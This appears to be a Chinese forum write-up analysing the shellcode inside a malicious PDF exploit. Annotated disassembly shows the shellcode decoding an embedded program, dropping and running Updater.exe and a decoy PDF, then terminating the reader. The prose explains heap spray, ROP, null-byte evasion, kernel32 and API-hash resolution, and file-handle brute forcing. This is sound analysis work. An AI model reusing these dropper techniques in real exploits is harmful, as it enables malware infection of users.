mov eax,dword ptr [ebp-44h] 033e0411 50 push eax 033e0412 ff55e0 call dword ptr [ebp-20h] ss:0023:0c0c0554={kernel32!ReadFile (7c801812)} //读取POC中嵌入的恶意程序内容 033e0415 c745a800000000 mov dword ptr [ebp-58h],0 033e041c eb09 jmp <Unloaded_.dll>+0x33e0426 (033e0427) 033e041e 8b4da8 mov ecx,dword ptr [ebp-58h] 033e0421 83c101 add ecx,1 033e0424 894da8 mov dword ptr [ebp-58h],ecx 033e0427 817da800040000 cmp dword ptr [ebp-58h],offset <Unloaded_.dll>+0x3ff (00000400) 033e042e 7323 jae <Unloaded_.dll>+0x33e0452 (033e0453) 033e0430 8b55a8 mov edx,dword ptr [ebp-58h] 033e0433 0fbe841534faffff movsx eax,byte ptr [ebp+edx-5CCh] 033e043b 3345a4 xor eax,dword ptr [ebp-5Ch] 033e043e 8b4da8 mov ecx,dword ptr [ebp-58h] 033e0441 88840d34faffff mov byte ptr [ebp+ecx-5CCh],al 033e0448 8b55a4 mov edx,dword ptr [ebp-5Ch] 033e044b 83ea01 sub edx,1 033e044e 8955a4 mov dword ptr [ebp-5Ch],edx 033e0451 ebcb jmp <Unloaded_.dll>+0x33e041d (033e041e) 033e0453 6a00 push 0 033e0455 8d45b0 lea eax,[ebp-50h] 033e0458 50 push eax 033e0459 8b4db4 mov ecx,dword ptr [ebp-4Ch] 033e045c 51 push ecx 033e045d 8d9534faffff lea edx,[ebp-5CCh] 033e0463 52 push edx 033e0464 8b45c4 mov eax,dword ptr [ebp-3Ch] 033e0467 50 push eax 033e0468 ff55e4 call dword ptr [ebp-1Ch] ss:0023:0c0c0558={kernel32!WriteFile (7c810e17)} //调用WriteFile写入恶意文件 033e046b 8b8d34feffff mov ecx,dword ptr [ebp-1CCh] 033e0471 83c101 add ecx,1 033e0474 898d34feffff mov dword ptr [ebp-1CCh],ecx 033e047a e968ffffff jmp <Unloaded_.dll>+0x33e03e6 (033e03e7) 033e047f 8b9534feffff mov edx,dword ptr [ebp-1CCh] 033e0485 c1e20a shl edx,0Ah 033e0488 8b8548feffff mov eax,dword ptr [ebp-1B8h] 033e048e 2bc2 sub eax,edx 033e0490 85c0 test eax,eax 033e0492 0f8489000000 je <Unloaded_.dll>+0x33e0520 (033e0521) 033e0498 6a00 push 0 033e049a 8d4db4 lea ecx,[ebp-4Ch] 033e049d 51 push ecx 033e049e 8b9534feffff mov edx,dword ptr [ebp-1CCh] 033e04a4 c1e20a shl edx,0Ah 033e04a7 8b8548feffff mov eax,dword ptr [ebp-1B8h] 033e04ad 2bc2 sub eax,edx 033e04af 50 push eax 033e04b0 8d8d34faffff lea ecx,[ebp-5CCh] 033e04b6 51 push ecx 033e04b7 8b55bc mov edx,dword ptr [ebp-44h] 033e04ba 52 push edx 033e04bb ff55e0 call dword ptr [ebp-20h] 033e04be c745a800000000 mov dword ptr [ebp-58h],0 033e04c5 eb09 jmp <Unloaded_.dll>+0x33e04cf (033e04d0) 033e04c7 8b45a8 mov eax,dword ptr [ebp-58h] 033e04ca 83c001 add eax,1 033e04cd 8945a8 mov dword ptr [ebp-58h],eax 033e04d0 8b8d34feffff mov ecx,dword ptr [ebp-1CCh] 033e04d6 c1e10a shl ecx,0Ah 033e04d9 8b9548feffff mov edx,dword ptr [ebp-1B8h] 033e04df 2bd1 sub edx,ecx 033e04e1 3955a8 cmp dword ptr [ebp-58h],edx 033e04e4 7323 jae <Unloaded_.dll>+0x33e0508 (033e0509) 033e04e6 8b45a8 mov eax,dword ptr [ebp-58h] 033e04e9 0fbe8c0534faffff movsx ecx,byte ptr [ebp+eax-5CCh] 033e04f1 334da4 xor ecx,dword ptr [ebp-5Ch] 033e04f4 8b55a8 mov edx,dword ptr [ebp-58h] 033e04f7 888c1534faffff mov byte ptr [ebp+edx-5CCh],cl 033e04fe 8b45a4 mov eax,dword ptr [ebp-5Ch] 033e0501 83e801 sub eax,1 033e0504 8945a4 mov dword ptr [ebp-5Ch],eax 033e0507 ebbe jmp <Unloaded_.dll>+0x33e04c6 (033e04c7) 033e0509 6a00 push 0 033e050b 8d4db0 lea ecx,[ebp-50h] 033e050e 51 push ecx 033e050f 8b55b4 mov edx,dword ptr [ebp-4Ch] 033e0512 52 push edx 033e0513 8d8534faffff lea eax,[ebp-5CCh] 033e0519 50 push eax 033e051a 8b4dc4 mov ecx,dword ptr [ebp-3Ch] 033e051d 51 push ecx 033e051e ff55e4 call dword ptr [ebp-1Ch] 033e0521 8b55c4 mov edx,dword ptr [ebp-3Ch] 033e0524 52 push edx 033e0525 ff55e8 call dword ptr [ebp-18h] ss:0023:0c0c055c={kernel32!CloseHandle (7c809bd7)} //关闭文件句柄 033e0528 6a00 push 0 033e052a 8d8524ffffff lea eax,[ebp-0DCh] 033e0530 50 push eax 033e0531 ff55ec call dword ptr [ebp-14h] //WinExec,执行的文件路径如下: 0:000> da poi(esp) 0c0c0498 "C:\DOCUME~1\fxh\LOCALS~1\Temp\Up" 0c0c04b8 "dater.exe" 033e0534 8d8d24ffffff lea ecx,[ebp-0DCh] 033e053a 51 push ecx 033e053b 8b55ac mov edx,dword ptr [ebp-54h] 033e053e 52 push edx 033e053f ff55f0 call dword ptr [ebp-10h] //继续获取GetTempPathA 033e0542 8dbd24ffffff lea edi,[ebp-0DCh] 033e0548 4f dec edi 033e0549 47 inc edi 033e054a 803f00 cmp byte ptr [edi],0 033e054d 75fa jne <Unloaded_.dll>+0x33e0548 (033e0549) 033e054f 8bb538feffff mov esi,dword ptr [ebp-1C8h] 033e0555 8b8d40feffff mov ecx,dword ptr [ebp-1C0h] 033e055b f2a4 repne movs byte ptr es:[edi],byte ptr [esi] //在Temp路径后面附加上g81.pdf 0:000> da 033e07e4 033e07e4 "g81.pdf" 033e055d 6a00 push 0 033e055f 6a00 push 0 033e0561 8b853cfeffff mov eax,dword ptr [ebp-1C4h] 033e0567 038548feffff add eax,dword ptr [ebp-1B8h] 033e056d 50 push eax 033e056e 8b4dbc mov ecx,dword ptr [ebp-44h] 033e0571 51 push ecx 033e0572 ff55d8 call dword ptr [ebp-28h] ss:0023:0c0c054c={kernel32!SetFilePointer (7c810c1e)} 033e0575 6a00 push 0 033e0577 6880000000 push offset <Unloaded_.dll>+0x7f (00000080) 033e057c 6a02 push 2 033e057e 6a00 push 0 033e0580 6a02 push 2 033e0582 68000000c0 push 0C0000000h 033e0587 8d9524ffffff lea edx,[ebp-0DCh] 033e058d 52 push edx 033e058e ff55dc call dword ptr [ebp-24h] //调用CreateFileA创建g81.pdf文件 033e0591 8945c0 mov dword ptr [ebp-40h],eax 033e0594 c78534feffff00000000 mov dword ptr [ebp-1CCh],0 033e059e 8b8544feffff mov eax,dword ptr [ebp-1BCh] 033e05a4 c1e80a shr eax,0Ah 033e05a7 398534feffff cmp dword ptr [ebp-1CCh],eax 033e05ad 737a jae <Unloaded_.dll>+0x33e0628 (033e0629) 033e05af 6a00 push 0 033e05b1 8d4db4 lea ecx,[ebp-4Ch] 033e05b4 51 push ecx 033e05b5 6800040000 push offset <Unloaded_.dll>+0x3ff (00000400) 033e05ba 8d9534faffff lea edx,[ebp-5CCh] 033e05c0 52 push edx 033e05c1 8b45bc mov eax,dword ptr [ebp-44h] 033e05c4 50 push eax 033e05c5 ff55e0 call dword ptr [ebp-20h] ss:0023:0c0c0554={kernel32!ReadFile (7c801812)} //读取POC中的文件内容 033e05c8 c745a800000000 mov dword ptr [ebp-58h],0 033e05cf eb09 jmp <Unloaded_.dll>+0x33e05d9 (033e05da) 033e05d1 8b4da8 mov ecx,dword ptr [ebp-58h] 033e05d4 83c101 add ecx,1 033e05d7 894da8 mov dword ptr [ebp-58h],ecx 033e05da 817da800040000 cmp dword ptr [ebp-58h],offset <Unloaded_.dll>+0x3ff (00000400) 033e05e1 731a jae <Unloaded_.dll>+0x33e05fc (033e05fd) 033e05e3 8b55a8 mov edx,dword ptr [ebp-58h] 033e05e6 0fbe841534faffff movsx eax,byte ptr [ebp+edx-5CCh] 033e05ee 83f077 xor eax,77h 033e05f1 8b4da8 mov ecx,dword ptr [ebp-58h] 033e05f4 88840d34faffff mov byte ptr [ebp+ecx-5CCh],al 033e05fb ebd4 jmp <Unloaded_.dll>+0x33e05d0 (033e05d1) 033e05fd 6a00 push 0 033e05ff 8d55b0 lea edx,[ebp-50h] 033e0602 52 push edx 033e0603 8b45b4 mov eax,dword ptr [ebp-4Ch] 033e0606 50 push eax 033e0607 8d8d34faffff lea ecx,[ebp-5CCh] 033e060d 51 push ecx 033e060e 8b55c0 mov edx,dword ptr [ebp-40h] 033e0611 52 push edx 033e0612 ff55e4 call dword ptr [ebp-1Ch] //调用WriteFile写入g81.pdf文件 033e0615 8b8534feffff mov eax,dword ptr [ebp-1CCh] 033e061b 83c001 add eax,1 033e061e 898534feffff mov dword ptr [ebp-1CCh],eax 033e0624 e975ffffff jmp <Unloaded_.dll>+0x33e059d (033e059e) 033e0629 8b8d34feffff mov ecx,dword ptr [ebp-1CCh] 033e062f c1e10a shl ecx,0Ah 033e0632 8b9544feffff mov edx,dword ptr [ebp-1BCh] 033e0638 2bd1 sub edx,ecx 033e063a 85d2 test edx,edx 033e063c 0f8480000000 je <Unloaded_.dll>+0x33e06c1 (033e06c2) 033e0642 6a00 push 0 033e0644 8d45b4 lea eax,[ebp-4Ch] 033e0647 50 push eax 033e0648 8b8d34feffff mov ecx,dword ptr [ebp-1CCh] 033e064e c1e10a shl ecx,0Ah 033e0651 8b9544feffff mov edx,dword ptr [ebp-1BCh] 033e0657 2bd1 sub edx,ecx 033e0659 52 push edx 033e065a 8d8534faffff lea eax,[ebp-5CCh] 033e0660 50 push eax 033e0661 8b4dbc mov ecx,dword ptr [ebp-44h] 033e0664 51 push ecx 033e0665 ff55e0 call dword ptr [ebp-20h] //调用ReadFile继续读取POC中的文件 033e0668 c745a800000000 mov dword ptr [ebp-58h],0 033e066f eb09 jmp <Unloaded_.dll>+0x33e0679 (033e067a) 033e0671 8b55a8 mov edx,dword ptr [ebp-58h] 033e0674 83c201 add edx,1 033e0677 8955a8 mov dword ptr [ebp-58h],edx 033e067a 8b8534feffff mov eax,dword ptr [ebp-1CCh] 033e0680 c1e00a shl eax,0Ah 033e0683 8b8d44feffff mov ecx,dword ptr [ebp-1BCh] 033e0689 2bc8 sub ecx,eax 033e068b 394da8 cmp dword ptr [ebp-58h],ecx 033e068e 731a jae <Unloaded_.dll>+0x33e06a9 (033e06aa) 033e0690 8b55a8 mov edx,dword ptr [ebp-58h] 033e0693 0fbe841534faffff movsx eax,byte ptr [ebp+edx-5CCh] 033e069b 83f077 xor eax,77h 033e069e 8b4da8 mov ecx,dword ptr [ebp-58h] 033e06a1 88840d34faffff mov byte ptr [ebp+ecx-5CCh],al 033e06a8 ebc7 jmp <Unloaded_.dll>+0x33e0670 (033e0671) 033e06aa 6a00 push 0 033e06ac 8d55b0 lea edx,[ebp-50h] 033e06af 52 push edx 033e06b0 8b45b4 mov eax,dword ptr [ebp-4Ch] 033e06b3 50 push eax 033e06b4 8d8d34faffff lea ecx,[ebp-5CCh] 033e06ba 51 push ecx 033e06bb 8b55c0 mov edx,dword ptr [ebp-40h] 033e06be 52 push edx 033e06bf ff55e4 call dword ptr [ebp-1Ch] ss:0023:0c0c0558={kernel32!WriteFile (7c810e17)} //调用WriteFile继续写文件 033e06c2 8b45c0 mov eax,dword ptr [ebp-40h] 033e06c5 50 push eax 033e06c6 ff55e8 call dword ptr [ebp-18h] //关闭文件句柄,调用CloseHandle 033e06c9 8dbde0feffff lea edi,[ebp-120h] 033e06cf 33c0 xor eax,eax 033e06d1 b911000000 mov ecx,offset <Unloaded_.dll>+0x10 (00000011) 033e06d6 f2ab repne stos dword ptr es:[edi] 033e06d8 8dbd50feffff lea edi,[ebp-1B0h] 033e06de 4f dec edi 033e06df 47 inc edi 033e06e0 803f00 cmp byte ptr [edi],0 033e06e3 75fa jne <Unloaded_.dll>+0x33e06de (033e06df) 033e06e5 800720 add byte ptr [edi],20h 033e06e8 47 inc edi 033e06e9 c60722 mov byte ptr [edi],22h 033e06ec 8db524ffffff lea esi,[ebp-0DCh] 033e06f2 4e dec esi 033e06f3 47 inc edi 033e06f4 46 inc esi 033e06f5 8a1e mov bl,byte ptr [esi] 033e06f7 881f mov byte ptr [edi],bl 033e06f9 803e00 cmp byte ptr [esi],0 033e06fc 75f5 jne <Unloaded_.dll>+0x33e06f2 (033e06f3) 033e06fe c60722 mov byte ptr [edi],22h 033e0701 47 inc edi 033e0702 c60700 mov byte ptr [edi],0 033e0705 8d8dd0feffff lea ecx,[ebp-130h] 033e070b 51 push ecx 033e070c 8d95e0feffff lea edx,[ebp-120h] 033e0712 52 push edx 033e0713 6a00 push 0 033e0715 6a00 push 0 033e0717 6a00 push 0 033e0719 6a00 push 0 033e071b 6a00 push 0 033e071d 6a00 push 0 033e071f 8d8550feffff lea eax,[ebp-1B0h] 033e0725 50 push eax 033e0726 6a00 push 0 033e0728 ff55f4 call dword ptr [ebp-0Ch] ss:0023:0c0c0568={kernel32!CreateProcessA (7c80236b)} 调用CreateProcessA创建恶意进程,进程名和Adobe的进程名相同 033e072b ff55f8 call dword ptr [ebp-8] //调用GetCurrentProcess,获取当前进程的句柄 033e072e 8945b8 mov dword ptr [ebp-48h],eax 033e0731 6a00 push 0 033e0733 8b4db8 mov ecx,dword ptr [ebp-48h] 033e0736 51 push ecx 033e0737 ff55fc call dword ptr [ebp-4] //调用TerminateProcess终止当前进程 033e073a 51 push ecx 033e073b 56 push esi 033e073c 8b733c mov esi,dword ptr [ebx+3Ch] 033e073f 8b741e78 mov esi,dword ptr [esi+ebx+78h] 033e0743 03f3 add esi,ebx 033e0745 56 push esi 033e0746 8b7620 mov esi,dword ptr [esi+20h] 033e0749 03f3 add esi,ebx 033e074b 33c9 xor ecx,ecx 033e074d 53 push ebx 033e074e 49 dec ecx 033e074f 41 inc ecx 033e0750 ad lods dword ptr [esi]
1、本部分介绍下第一个阶段的shellcode。
第一个阶段的shellcode其实并不是真正意义上的shellcode,从上面的堆栈中的某些数据可以看到大量的类似0x0c0c0c0c附近的值。接触过flash的漏洞的人大概都可以猜到这个POC利用的大概就是Heap Spray即堆喷射技术了。
没错,这个POC使用的就是堆喷射技术将第一个阶段的shellcode在内存中大量、重复的布置好。然后通过精心构造栈数据,利用ROP控制了程序的流程。
第一段shellcode,也就是一些使用ROP的数据首先调用native api NtAllocateVirtualMemory来分配了上述大小0x1000,属性可写可读可执行的内存区间,并且将第二阶段的shellcode拷贝至新分配的内存,然后将程序执行权交给第二阶段的shellcode.
关于ROP以及相关的技术的介绍,请参考看雪最近翻译的Exploit教程。
2、shellcode的总结
这个shellcode的编写涉及到了如下的问题:
如何规避shellcode中存在null字节而导致拷贝终止的问题。
如何获取Kernel32基址
如何动态获得所需要的API函数地址
如何在当前进程中获得所需要的POC文件的句柄,以获取POC文件内嵌入的恶意程序
问题1:
对于规避null字节的方法就很多了,主要就是对shellcode中的null字符进行处理,然后再运行过程中动态进行还原。针对shellcode的影响范围不同,有两种做法:对null字节进行特殊处理和对全部的shellcode进行处理。
对null字节的特殊处理,主要就是对null自己进行替换,并生成额外的指令用于在运行过程中动态的还原。
对全部的shellcode进行处理即可以采取对全部shellcode进行加密,然后生成额外的解密字节,并先于shellcode运行,然后动态解密后将程序的控制权交还给解密的shellcode即可。
上面的shellcode中就是使用了简单加密的方法来规避null字节的,详见Code_index2。
问题2:
获取kernel32.dll基址的方法流行的有三种:
第一种就是根据线程初始化的时候,堆栈指针esp指向Kernel32.dll中的ExitProcess函数,根据这个特点暴力搜索获得kernel32.dll的基地址。
第二种就是根据异常处理SHE的链末尾的异常处理程序地址是位于kernel32.dll中的,通过这个地址可以暴力搜索获得kernel32.dll的基地址。
第三种就是根据TEB中的相关信息,来获得系统在此处登记的系统动态链接库信息,里面包括了kernel32.dll的信息以及其基地址。
这段shellcode就是通过第三种方法来获取kernel32.dll的基地址的,详见Code_index4。
问题3:
既然已经获得了kernel32.dll的基地址,那么由于我们常使用的API即是其中的导出函数,我们只要解析PE文件的格式,定位导入表,然后根据导出名字表和自己的查找的函数名进行比对,并在相应序号的导出地址表中找到真实的函数地址。
当然,通常为了减小shellcode的体积,会对函数名进行hash,然后将导出名字表中的函数名进行hash,然后将两者进行比较来确定是否是我们需要的函数。
上述的shellcode即是根据这个特点进行的,详见Code_index5.
问题4:
Shellcode执行的时候,可以确定的是POC文件已经打开了,我们需要做的就是确定这个POC文件的句柄,并根据找到的句柄值在POC特定的位置找到恶意程序的内容,然后读取该内容并写入新创建的文件。随后,运行动态生成的文件来完成一些恶意的功能。
如何确定POC文件的句柄呢?我们可以采用尝试的办法,即首先假设一个句柄值(32位值),可以从整数1开始递增,然后调用文件操作函数来尝试操作这个文件,可以是ReadFile、WriteFile、GetFileSize、SetFilePointer等函数,然后根据返回的结果来确定我们指定的句柄值是否真正的代表着某个被打开的文件。
如果成功,则表示句柄所代表的文件存在。当然,这个文件可能并不是我们所查找的POC文件的句柄值。这个时候我们就需要返回递增句柄值然后继续查找。
如果失败,表示指定的句柄并没有关联的文件。递增句柄值,继续查找。
根据上述的过程,最终可以找到我们所需要的文件句柄值。
上述的shellcode即是采用了GetFileSize+SetFilePointer+ReadFile,然后根据读取的内容是否是PDF文件的特征头来确定POC文件的。见Data_index3后面的Code_index4中的后续部分。
至此,整个shellcode分析完毕,分析过程有侧重,重点分析了shellcode中使用的技巧。本人新手,所以错误难免,欢迎批评交流指正!
下面是word版的文章,看起来好看点,在后面就是POC文件,漏洞的相关信息google即可。